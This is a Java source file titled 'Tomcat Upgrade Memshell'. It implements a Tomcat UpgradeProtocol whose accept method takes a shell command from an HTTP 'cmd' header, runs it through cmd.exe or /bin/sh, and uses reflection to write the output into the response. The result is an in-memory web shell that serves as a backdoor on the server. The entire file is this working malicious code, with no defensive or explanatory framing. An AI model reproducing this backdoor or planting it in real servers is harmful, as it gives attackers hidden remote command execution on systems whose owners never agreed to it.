Tomcat Upgrade Memshell

package com.example.upgradememshell;

import org.apache.coyote.*;
import org.apache.coyote.http11.upgrade.InternalHttpUpgradeHandler;
import org.apache.tomcat.util.net.SocketWrapperBase;

import java.lang.reflect.Field;
import java.nio.ByteBuffer;

public class MyUpgrade implements UpgradeProtocol {
    @Override
    public String getHttpUpgradeName(boolean b) {
        return null;
    }

    @Override
    public byte[] getAlpnIdentifier() {
        return new byte[0];
    }

    @Override
    public String getAlpnName() {
        return null;
    }

    @Override
    public Processor getProcessor(SocketWrapperBase<?> socketWrapperBase, Adapter adapter) {
        return null;
    }

    @Override
    public InternalHttpUpgradeHandler getInternalUpgradeHandler(Adapter adapter, Request request) {
        return null;
    }

    @Override
    public boolean accept(Request request) {
        String p = request.getHeader("cmd");
        try {
            String[] cmd = System.getProperty("os.name").toLowerCase().contains("win") ? new String[]{"cmd.exe", "/c", p} : new String[]{"/bin/sh", "-c", p};
            Field response = org.apache.coyote.Request.class.getDeclaredField("response");
            response.setAccessible(true);
            Response resp = (Response) response.get(request);
            byte[] result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter("\\A").next().getBytes();
            resp.doWrite(ByteBuffer.wrap(result));
        } catch (Exception e) {
        }
        return false;
    }
}